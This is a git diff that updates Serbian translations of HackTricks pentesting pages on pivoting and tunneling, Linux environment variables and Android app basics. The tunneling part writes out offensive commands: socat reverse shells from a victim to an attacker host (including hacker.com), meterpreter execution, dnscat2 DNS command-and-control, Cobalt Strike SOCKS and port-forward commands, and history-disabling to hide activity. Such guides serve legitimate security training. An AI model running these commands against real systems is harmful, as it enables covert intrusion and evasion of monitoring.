* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -108,7 +108,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Možete **tunelovati** sav **saobraćaj** ka **podmreži** preko domaćina.\
Možete **tunelovati** sav **saobraćaj** ka **podmreži** preko hosta.\
Na primer, prosleđivanje sav saobraćaj koji ide ka 10.10.10.0/24
```bash
pip install sshuttle
@ -130,7 +130,7 @@ portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
### SOCKS
SOCKS (Socket Secure) je protokol koji omogućava rutiranje mrežnog saobraćaja između klijenta i servera putem proxy servera. SOCKS koristi port 1080 i može biti korišćen za tuneliranje različitih vrsta mrežnog saobraćaja, uključujući TCP i UDP.
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -155,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Otvorite port u tim serveru koji sluša na svim interfejsima koji se mogu koristiti za **usmeravanje saobraćaja kroz beacon**.
Otvorite port u tim serveru koji sluša na svim interfejsima i može se koristiti za **usmeravanje saobraćaja kroz beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -166,7 +166,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
U ovom slučaju, **port je otvoren na hostu zastavici**, a ne na Tim serveru i saobraćaj se šalje na Tim server, a odatle ka naznačenom hostu:port
U ovom slučaju, **port je otvoren na hostu zastavici**, a ne na Tim Serveru i saobraćaj se šalje na Tim Server, a odatle ka naznačenom hostu:port
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
@ -175,7 +175,7 @@ rportfwd stop [bind port]
### rPort2Port lokalno
{% hint style="warning" %}
U ovom slučaju, **port je otvoren na hostu bekon**, ne na Tim Serveru i **saobraćaj je poslat ka Cobalt Strike klijentu** (ne ka Tim Serveru) i odatle ka naznačenom hostu:port.
U ovom slučaju, **port je otvoren na hostu Beacon-a**, a ne na Team Server-u i **saobraćaj je poslat ka Cobalt Strike klijentu** (ne ka Team Server-u) i odatle ka naznačenom hostu:port.
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -243,8 +243,6 @@ attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Port2Port
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
@ -263,7 +261,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Možete zaobići **neautentifikovani proxy** izvršavanjem ove linije umesto poslednje u konzoli žrtve:
Možete zaobići **neovlašćeni proxy** izvršavanjem ove linije umesto poslednje u konzoli žrtve:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -299,7 +297,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
To je kao konzolna verzija PuTTY-a (opcije su vrlo slične ssh klijentu).
Pošto će se ovaj binarni fajl izvršiti na žrtvi i to je ssh klijent, moramo otvoriti naš ssh servis i port kako bismo imali reverznu konekciju. Zatim, da prosledimo samo lokalno dostupan port na port našeg računara:
Pošto će se ovaj binarni fajl izvršiti na žrtvi i to je ssh klijent, moramo otvoriti naš ssh servis i port kako bismo imali reverznu konekciju. Zatim, da bismo prosledili samo lokalno dostupan port na port našeg računara:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -308,7 +306,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
### Port2Port
Morate imati lokalne administratorske privilegije (za bilo koji port)
Morate biti lokalni administrator (za bilo koji port)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -331,9 +329,9 @@ Na vašem klijentskom računaru učitajte **`SocksOverRDP-Plugin.dll`** na slede
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Sada možemo **povezati** se sa **žrtvom** preko **RDP** koristeći **`mstsc.exe`**, i trebali bismo dobiti **prozor za unos** koji kaže da je **SocksOverRDP dodatak omogućen**, i da će **slušati** na **127.0.0.1:1080**.
Sada možemo **povezati** se sa **žrtvom** preko **RDP** koristeći **`mstsc.exe`**, i trebali bismo dobiti **prozor** koji kaže da je **SocksOverRDP dodatak omogućen**, i da će **slušati** na **127.0.0.1:1080**.
**Povežite** se preko **RDP** i otpremite & izvršite na mašini žrtve `SocksOverRDP-Server.exe` binarni fajl:
**Povežite** se preko **RDP** i otpremite i izvršite na mašini žrtve binarni fajl `SocksOverRDP-Server.exe`:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@ -343,13 +341,13 @@ netstat -antb | findstr 1080
```
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da biste usmjerili saobraćaj kroz taj port.**
## Proxify Windows GUI aplikacije
## Proksifikuj Windows GUI aplikacije
Možete omogućiti Windows GUI aplikacijama da prolaze kroz proxy korišćenjem [**Proxifier**](https://www.proxifier.com/).\
Možete omogućiti Windows GUI aplikacijama da koriste proxy korišćenjem [**Proxifier**](https://www.proxifier.com/).\
U **Profile -> Proxy Servers** dodajte IP adresu i port SOCKS servera.\
U **Profile -> Proxification Rules** dodajte ime programa za proxify i veze ka IP adresama koje želite da proxify-ujete.
U **Profile -> Proxification Rules** dodajte ime programa za proksifikaciju i veze ka IP adresama koje želite da proksifikujete.
## NTLM proxy zaobilaženje
## NTLM zaobilaženje proxy-ja
Prethodno pomenuti alat: **Rpivot**\
**OpenVPN** takođe može da ga zaobiđe, podešavanjem ovih opcija u konfiguracionom fajlu:
@ -360,7 +358,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Autentiče se protiv proksi servera i vezuje lokalni port koji se prosleđuje ka spoljnoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
Autentikuje se protiv proksi servera i vezuje lokalni port koji se prosleđuje ka spoljnoj usluzi koju odredite. Zatim, možete koristiti alat po vašem izboru preko ovog porta.\
Na primer, prosleđuje port 443
```
Username Alice
@ -382,7 +380,7 @@ Obrnuti proxy kreiran od strane Microsoft-a. Možete ga pronaći ovde: [https://
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Potreban je root na oba sistema kako bi se kreirali tun adapteri i tunelovali podaci između njih korišćenjem DNS upita.
Potreban je root na oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih korišćenjem DNS upita.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
@ -396,7 +394,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
[**Preuzmite ga ovde**](https://github.com/iagox86/dnscat2)**.**
Uspostavlja C\&C kanal putem DNS-a. Ne zahteva privilegije root korisnika.
Uspostavlja C\&C kanal preko DNS-a. Ne zahteva root privilegije.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -412,7 +410,7 @@ Možete koristiti [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Prosleđivanje porta pomoću dnscat-a**
#### **Prosleđivanje porta pomoću dnscat**
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
@ -475,7 +473,7 @@ chmod a+x ./ngrok
*Takođe je moguće dodati autentikaciju i TLS, ako je potrebno.*
#### Tuneliranje TCP
#### Tunelovanje TCP
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
@ -483,15 +481,15 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### Otkrivanje fajlova putem HTTP-a
#### Otkrivanje fajlova putem HTTP
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Sniffing HTTP pozivi
#### Sniffing HTTP poziva
*Korisno za XSS, SSRF, SSTI ...*
Direktno sa stdout-a ili na HTTP interfejsu [http://127.0.0.1:4040](http://127.0.0.1:4000).
*Koristan za XSS, SSRF, SSTI ...*
Direktno sa stdout-a ili preko HTTP interfejsa [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tuneliranje internih HTTP servisa
```bash
@ -524,7 +522,7 @@ addr: file:///tmp/httpbin/
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -534,10 +532,10 @@ addr: file:///tmp/httpbin/
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -65,10 +65,10 @@ Sa: [https://geek-university.com/linux/common-environment-variables/](https://ge
* **HOSTNAME** ime računara.
* **LANG** vaš trenutni jezik.
* **MAIL** lokacija poštanskog sandučeta korisnika. Obično **/var/spool/mail/USER**.
* **MANPATH** lista direktorijuma za pretragu stranica priručnika.
* **MANPATH** lista direktorijuma u kojima se traže stranice priručnika.
* **OSTYPE** tip operativnog sistema.
* **PS1** podrazumevani znak za unos u bash-u.
* **PATH** čuva putanje svih direktorijuma koji sadrže binarne datoteke koje želite da izvršite samo navođenjem imena datoteke, a ne relativnom ili apsolutnom putanjom.
* **PATH** čuva putanje svih direktorijuma koji sadrže binarne datoteke koje želite da izvršite samo navođenjem imena datoteke, a ne relativne ili apsolutne putanje.
* **PWD** trenutni radni direktorijum.
* **SHELL** putanja do trenutne komandne ljuske (na primer, **/bin/bash**).
* **TERM** trenutni tip terminala (na primer, **xterm**).
@ -85,20 +85,20 @@ export HISTFILESIZE=0
```
### **HISTSIZE**
Promenite **vrednost ove promenljive na 0**, tako da kada **završite sesiju**, nijedna komanda neće biti dodata u **datoteku istorije** (\~/.bash\_history).
Promenite **vrednost ove promenljive na 0**, tako da kada **završite sesiju**, bilo koja komanda neće biti dodata u **istorijski fajl** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
### http\_proxy & https\_proxy
Procesi će koristiti **proxy** koji je ovde deklarisan da bi se povezali na internet preko **http ili https**.
Procesi će koristiti **proxy** koji je ovde naveden da bi se povezali na internet preko **http ili https**.
```bash
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
### SSL_CERT_FILE & SSL_CERT_DIR
Procesi će verovati sertifikatima navedenim u **ovim env promenljivama**.
Procesi će verovati sertifikatima navedenim u **ovim env varijablama**.
```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates
@ -121,13 +121,13 @@ Jedan, dva i tri pozadinski poslovi:
![](<../.gitbook/assets/image (89).png>)
Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završila ispravno:
Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završena ispravno:
![](<../.gitbook/assets/image (90).png>)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -137,10 +137,10 @@ Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završila isp
Drugi načini podrške HackTricks-u:
* Ako želite da vidite vašu **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,17 +6,17 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -31,37 +31,37 @@ Drugi načini podrške HackTricks-u:
### UID Separacija
**Svaka aplikacija je dodeljena specifičan User ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može interagovati samo sa fajlovima koje poseduje njen User ID ili deljenim** fajlovima. Stoga, samo aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacija.
**Svaka aplikacija je dodeljena specifičan User ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može da interaguje samo sa fajlovima koje poseduje njen User ID ili deljenim** fajlovima. Zbog toga, samo aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacija.
### Deljenje UID-a
**Dve aplikacije mogu biti konfigurisane da koriste isti UID**. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti kompromitovani. Zato se ovo ponašanje **odvraća**.\
**Dve aplikacije mogu biti konfigurisane da koriste isti UID**. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti kompromitovani. Zato se ovo ponašanje **ne preporučuje**.\
**Da bi delile isti UID, aplikacije moraju definisati istu vrednost `android:sharedUserId` u njihovim manifestima.**
### Pesak
### Izolacija
**Android aplikacioni pesak** omogućava pokretanje **svake aplikacije** kao **zaseban proces pod zasebnim User ID-om**. Svaki proces ima svoju virtuelnu mašinu, tako da kod aplikacije radi izolovano od drugih aplikacija.\
Od Android 5.0(L) **SELinux** je primenjen. U osnovi, SELinux odbija sve interakcije procesa, a zatim kreira politike da **dozvoli samo očekivane interakcije između njih**.
Od Android 5.0(L) **SELinux** je primenjen. U osnovi, SELinux odbija sve interakcije procesa i zatim kreira politike da **dozvoli samo očekivane interakcije između njih**.
### Dozvole
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** fajlu. Element **uses-permission** označava ime tražene dozvole unutar **name** **atributa**. Takođe ima **maxSdkVersion** atribut koji zaustavlja traženje dozvola na verzijama višim od navedene.\
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole na početku, takođe mogu **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** fajlu. **Uses-permission** element označava ime tražene dozvole unutar **name** **atributa**. Takođe ima **maxSdkVersion** atribut koji zaustavlja traženje dozvola na verzijama višim od navedene.\
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole na početku, mogu takođe **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
Kada aplikacija izlaže funkcionalnost, može ograničiti **pristup samo aplikacijama koje imaju određenu dozvolu**.\
Element dozvole ima tri atributa:
* **Ime** dozvole
* Atribut **permission-group**, koji omogućava grupisanje povezanih dozvola.
* **Nivo zaštite** koji označava kako se dozvole dodeljuju. Postoje četiri tipa:
* **Normalno**: Koristi se kada nema **poznatih pretnji** aplikaciji. Korisniku nije **potrebno odobrenje**.
* **Nivo zaštite** koji označava kako su dozvole dodeljene. Postoje četiri tipa:
* **Normalno**: Koristi se kada nema **poznatih pretnji** aplikaciji. Korisniku nije potrebno da je **odobri**.
* **Opasno**: Označava da dozvola daje traženoj aplikaciji neki **povišen pristup**. **Korisnici su zamoljeni da ih odobre**.
* **Potpis**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu mogu dobiti dozvolu. Ovo je najjači tip zaštite.
* **PotpisIliSistem**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu ili **aplikacije koje se izvršavaju sa sistemskim nivoom pristupa** mogu dobiti dozvole
## Preinstalirane Aplikacije
Ove aplikacije se obično nalaze u **`/system/app`** ili **`/system/priv-app`** direktorijumima i neke od njih su **optimizovane** (možda čak nećete naći `classes.dex` fajl). Ove aplikacije vredi proveriti jer su nekad **pokrenute sa previše dozvola** (kao root).
Ove aplikacije se obično nalaze u direktorijumima **`/system/app`** ili **`/system/priv-app`** i neke od njih su **optimizovane** (možda nećete ni pronaći `classes.dex` fajl). Ove aplikacije vredi proveriti jer su nekad **pokrenute sa previše dozvola** (kao root).
* One isporučene sa **AOSP** (Android OpenSource Project) **ROM-om**
* Dodate od strane proizvođača uređaja
@ -69,8 +69,8 @@ Ove aplikacije se obično nalaze u **`/system/app`** ili **`/system/priv-app`**
## Rootovanje
Da biste dobili root pristup fizičkom android uređaju obično treba da **iskoristite** 1 ili 2 **ranjivosti** koje obično budu **specifične** za **uređaj** i **verziju**.\
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u PATH env varijabli korisnika kao što je `/system/xbin`.
Da biste dobili root pristup fizičkom Android uređaju obično morate **iskoristiti** 1 ili 2 **ranjivosti** koje obično budu **specifične** za **uređaj** i **verziju**.\
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u korisnikovoj PATH env promenljivoj kao što je `/system/xbin`.
Kada je su binarni fajl konfigurisan, druga Android aplikacija se koristi za interakciju sa `su` binarnim fajlom i **obradu zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupne u Google Play prodavnici).
@ -115,32 +115,32 @@ Kada je uređaj rootovan, bilo koja aplikacija može zatražiti pristup kao root
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik Executable (DEX) bytecode**. Ranije je Dalvik virtuelna mašina obrađivala ovaj bytecode, ali sada, Android Runtime (ART) preuzima kontrolu u novijim verzijama Androida.
Za reverzno inženjerstvo, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik mašinskog koda prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za sastavljanje i rastavljanje u ovom kontekstu.
Za obrnuti inženjering, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik asemblaža prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asembliranje i disasembliranje u ovom kontekstu.
## Intents
Intents su osnovno sredstvo komunikacije između komponenti Android aplikacija ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu prenositi podatke između aplikacija ili komponenti, slično kao što se GET/POST zahtevi koriste u HTTP komunikacijama.
Dakle, Intent je **poruka koja se prenosi između komponenti**. Intents **mogu biti usmereni** ka određenim komponentama ili aplikacijama, **ili mogu biti poslati bez određenog primaoca**.\
Dakle, Intent je u osnovi **poruka koja se prenosi između komponenti**. Intents **mogu biti usmereni** ka određenim komponentama ili aplikacijama, **ili mogu biti poslati bez određenog primaoca**.\
Da bude jednostavno, Intent se može koristiti:
* Za pokretanje Activity-ja, obično otvaranje korisničkog interfejsa za aplikaciju
* Kao emitovanja za obaveštavanje sistema i aplikacija o promenama
* Za pokretanje, zaustavljanje i komunikaciju sa pozadinskom uslugom
* Za pristup podacima putem ContentProvidera
* Kao povratni pozivi za rukovanje događajima
* Kao povratni poziv za rukovanje događajima
Ako su ranjivi, **Intents mogu biti korišćeni za izvođenje različitih napada**.
### Intent-Filter
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intents-a**. U osnovi, opisuju sposobnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili vrste emitovanja koje mogu obraditi. Glavno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml fajla**, iako je kodiranje za Broadcast Receivere takođe opcija.
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intents-a**. U osnovi, opisuju sposobnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili vrste emitovanja koje mogu obraditi. Glavno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je kodiranje za Broadcast Receivere takođe opcija.
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrade specifične Intents-e koji se podudaraju sa deklarisanim kriterijumima.
Kritičan aspekt Android komponenti (aktivnosti/usluga/content providera/broadcast receivera) je njihova vidljivost ili **javni status**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za razvojnike da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa **`exported`** na **`false`** u njihovim definicijama manifesta.
Ključni aspekt Android komponenti (aktivnosti/usluga/content providera/broadcast receivera) je njihova vidljivost ili **javni status**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za razvojnike da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa **`exported`** na **`false`** u njihovim definicijama manifesta.
Osim toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama zahtevanjem specifičnih dozvola. **`Permission`** atribut može biti postavljen da bi se naložilo da samo aplikacije sa određenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može interagovati sa njom.
Osim toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama zahtevanjem određenih dozvola. **`permission`** atribut može biti postavljen da bi se naložilo da samo aplikacije sa određenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može interagovati sa njom.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -163,13 +163,13 @@ Ova namera treba da bude deklarisana unutar manifesta kao u sledećem primeru:
</intent-filter>
</activity>
```
Intent-filter mora odgovarati **action**, **data** i **category** poljima da bi primio poruku.
Intent-filter treba da se podudara sa **akcijom**, **podacima** i **kategorijom** da bi primio poruku.
Proces "Intent resolution" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **priority atribut**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet se može postaviti između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ukoliko dođe do **sukoba**, pojavljuje se prozor "choser" kako bi **korisnik odlučio**.
